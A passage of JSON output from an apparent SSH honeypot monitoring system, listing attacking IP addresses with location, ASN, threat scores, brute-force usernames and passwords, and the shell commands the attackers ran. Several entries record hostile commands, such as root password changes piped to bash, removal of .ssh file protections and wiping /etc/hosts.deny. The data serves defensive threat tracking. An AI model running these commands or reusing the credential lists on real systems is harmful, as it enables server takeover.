        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:22:28.418000+00:00",
        "last_seen_30d": "2026-05-11T15:59:27.780000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "165.154.236.84": {
      "attack_count": 213,
      "first_seen": "2026-05-31T21:17:07.425Z",
      "last_seen": "2026-05-31T21:44:29.788Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "client",
        "ftpuser",
        "admin",
        "kkadmin",
        "pacs",
        "serv",
        "ts3server",
        "ubuntu",
        "user1",
        "user15",
        "william",
        "yujie"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234",
        "1234qwerty",
        "@Passw0rd",
        "Killer123",
        "Password2025",
        "admin@123",
        "adminadmin",
        "client",
        "kkadmin",
        "pacs",
        "ts3server",
        "user15",
        "yujie123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nsQtSUPHAIAfm\\nsQtSUPHAIAfm\\n\"|passwd",
        "echo \"client\\n7JxsX7iztc7g\\n7JxsX7iztc7g\\n\"|passwd",
        "echo -e \"1\\nsQtSUPHAIAfm\\nsQtSUPHAIAfm\"|passwd|bash",
        "echo -e \"client\\n7JxsX7iztc7g\\n7JxsX7iztc7g\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 36.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T21:17:07.425000+00:00",
        "last_seen_30d": "2026-05-31T21:45:32.141000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "170.80.223.99": {
      "attack_count": 204,
      "first_seen": "2026-05-19T06:33:49.883Z",
      "last_seen": "2026-05-19T16:23:16.635Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Moreno",
      "asn": 265274,
      "as_org": "Fixa Telecomunicacoes do Brasil Ltda",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:33:49.883000+00:00",
        "last_seen_30d": "2026-05-19T16:24:22.406000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 102
      }
    },
    "123.185.91.118": {
      "attack_count": 194,
      "first_seen": "2026-05-20T18:20:13.038Z",
      "last_seen": "2026-05-21T06:26:07.263Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 134762,
      "as_org": "CHINANET Liaoning province Dalian MAN network",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:20:13.038000+00:00",
        "last_seen_30d": "2026-05-21T06:27:17.916000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 102
      }
    },
    "58.50.195.209": {
      "attack_count": 156,
      "first_seen": "2026-05-18T21:51:19.394Z",
      "last_seen": "2026-05-19T06:18:46.007Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:51:19.394000+00:00",
        "last_seen_30d": "2026-05-19T06:19:53.847000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 82
      }
    },
    "187.49.39.246": {
      "attack_count": 143,
      "first_seen": "2026-05-22T11:34:29.765Z",
      "last_seen": "2026-05-22T12:39:58.575Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dbadmin",
        "emo",
        "ljsoft",
        "mohammad",
        "moni",
        "n8n",
        "navid",
        "testuser",
        "user",
        "webuser",
        "zeeshan"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "1234qwer",
        "1qazxdr5!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Itsemoemo2025@Washere2025",
        "Jack@123",
        "Pass@word123",
        "ljsoft",
        "moni",
        "n8n2025",
        "navid",
        "test1234",
        "tmp123",
        "zeeshan"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:y569cF9FVLMu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Jundia\u00ed",
      "asn": 28140,
      "as_org": "G2G INTERNET E SERVICOS DE TELECOM LTDA",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:34:29.765000+00:00",
        "last_seen_30d": "2026-05-22T12:41:01.972000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "185.191.165.57": {
      "attack_count": 126,
      "first_seen": "2026-05-05T01:09:37.290Z",
      "last_seen": "2026-05-31T20:59:20.480Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kosovo",
      "country_code": "XK",
      "city": "Pristina",
      "asn": 206262,
      "as_org": "TelKos L.L.C",
      "threat_score": 56.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.6,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 145,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:09:37.290000+00:00",
        "last_seen_30d": "2026-05-31T21:00:21.901000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 61
      }
    },
    "198.38.91.141": {
      "attack_count": 126,
      "first_seen": "2026-05-05T00:59:30.298Z",
      "last_seen": "2026-05-31T21:26:20.727Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 204800,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:59:30.298000+00:00",
        "last_seen_30d": "2026-05-31T21:27:22.279000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "103.187.26.126": {
      "attack_count": 124,
      "first_seen": "2026-05-23T15:39:06.154Z",
      "last_seen": "2026-05-23T16:20:04.301Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "aroot",
        "butter",
        "minecraft",
        "pzuser",
        "ranger",
        "teamspeak",
        "user1"
      ],
      "passwords_attempted": [
        "123...com",
        "12345",
        "123456",
        "12345678",
        "1qa2ws#ED",
        "3245gs5662d34",
        "345gs5662d34",
        "aroot",
        "parola123",
        "pzuser",
        "ranger",
        "user123",
        "xuelp123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nR5s110l8Gw9Y\\nR5s110l8Gw9Y\\n\"|passwd",
        "echo -e \"12345678\\nR5s110l8Gw9Y\\nR5s110l8Gw9Y\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T15:39:06.154000+00:00",
        "last_seen_30d": "2026-05-23T16:21:04.458000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 32
      }
    },
    "103.251.165.133": {
      "attack_count": 124,
      "first_seen": "2026-05-23T05:13:04.376Z",
      "last_seen": "2026-05-23T06:41:05.243Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "gitlab",
        "rohit",
        "sinusbot",
        "vncuser",
        "vpsuser",
        "wedding"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "123!@#QWE",
        "123456",
        "123@Password",
        "3245gs5662d34",
        "Abc123456..",
        "Abc654321",
        "chienbinh",
        "oracle@2024",
        "rohit123",
        "wedding"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"oracle@2024\\nWMR2QhOZlBU5\\nWMR2QhOZlBU5\\n\"|passwd",
        "echo -e \"oracle@2024\\nWMR2QhOZlBU5\\nWMR2QhOZlBU5\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 60404,
      "as_org": "The Infrastructure Group B.V.",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:13:04.376000+00:00",
        "last_seen_30d": "2026-05-23T06:42:14.578000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 38
      }
    },
    "122.177.246.112": {
      "attack_count": 119,
      "first_seen": "2026-05-28T20:15:26.134Z",
      "last_seen": "2026-05-28T21:17:29.429Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "unity",
        "clock",
        "kris",
        "rapid",
        "user"
      ],
      "passwords_attempted": [
        "!@#QWE123qwe",
        "123456@abc",
        "1234Abcd",
        "1qaz@WSX",
        "3245gs5662d34",
        "Hh123456",
        "Root.123",
        "Zxc123123",
        "clock",
        "kris",
        "rapid123",
        "unity"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"unity\\noFDYXYRGkgnS\\noFDYXYRGkgnS\\n\"|passwd",
        "echo -e \"unity\\noFDYXYRGkgnS\\noFDYXYRGkgnS\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T20:15:26.134000+00:00",
        "last_seen_30d": "2026-05-28T21:18:34.768000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "196.189.237.172": {
      "attack_count": 119,
      "first_seen": "2026-05-30T12:45:31.356Z",
      "last_seen": "2026-05-30T13:08:41.461Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "backupuser",
        "345gs5662d34",
        "anton",
        "frappe",
        "soporte"
      ],
      "passwords_attempted": [
        "!@#qwe123QWE",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc#2025",
        "Password1@",
        "Xx123456.",
        "Zxcvb123",
        "anton",
        "backupuser",
        "soporte2026",
        "zxc123321"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"backupuser\\ntw83IlzDFfGR\\ntw83IlzDFfGR\\n\"|passwd",
        "echo -e \"backupuser\\ntw83IlzDFfGR\\ntw83IlzDFfGR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T12:45:31.356000+00:00",
        "last_seen_30d": "2026-05-30T13:09:45.956000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "138.197.15.44": {
      "attack_count": 118,
      "first_seen": "2026-05-22T22:19:32.039Z",
      "last_seen": "2026-05-22T22:48:28.193Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kyle",
        "nodeuser",
        "rajesh",
        "share",
        "test"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456#",
        "Admin$2025",
        "P@ssw0rd1!",
        "Rootroot1",
        "admin@123",
        "docker",
        "nodeuser",
        "rajesh",
        "share"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jAEQn2qCBaQK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:19:32.039000+00:00",
        "last_seen_30d": "2026-05-22T22:49:28.731000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "86.57.132.114": {
      "attack_count": 100,
      "first_seen": "2026-05-20T19:07:35.176Z",
      "last_seen": "2026-05-21T06:22:48.322Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T19:07:35.176000+00:00",
        "last_seen_30d": "2026-05-21T06:23:56.868000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 100,
        "Suricata": 50
      }
    },
    "221.225.36.56": {
      "attack_count": 98,
      "first_seen": "2026-05-23T08:10:40.800Z",
      "last_seen": "2026-05-23T14:02:28.801Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:04:13.416000+00:00",
        "last_seen_30d": "2026-05-23T14:03:34.294000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 56
      }
    },
    "171.103.89.49": {
      "attack_count": 94,
      "first_seen": "2026-05-23T08:17:30.108Z",
      "last_seen": "2026-05-23T13:54:07.922Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 7470,
      "as_org": "TRUE INTERNET Co.,Ltd.",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:17:30.108000+00:00",
        "last_seen_30d": "2026-05-23T13:55:12.529000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 48
      }
    },
    "176.65.139.99": {
      "attack_count": 87,
      "first_seen": "2026-05-22T08:31:40.296Z",
      "last_seen": "2026-05-30T13:26:06.627Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "ubnt"
      ],
      "passwords_attempted": [
        "",
        "root",
        "admin",
        "user",
        "123456",
        "password",
        "system",
        "ubnt"
      ],
      "commands_executed": [
        "./",
        "echo SHELL_TEST",
        "/bin/busybox TEST",
        "cat /proc"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 62.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.5,
        "persistence": 13.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 16,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-15T14:36:25.604000+00:00",
        "last_seen_30d": "2026-05-30T14:29:31.453000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 51,
        "Adbhoney": 2,
        "Honeytrap": 2
      }
    },
    "96.127.172.215": {
      "attack_count": 84,
      "first_seen": "2026-05-09T22:23:30.116Z",
      "last_seen": "2026-05-30T21:31:41.499Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:23:30.116000+00:00",
        "last_seen_30d": "2026-05-30T21:32:51.336000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 42
      }
    },
    "113.236.170.158": {
      "attack_count": 76,
      "first_seen": "2026-05-23T08:17:54.674Z",
      "last_seen": "2026-05-23T13:59:54.506Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
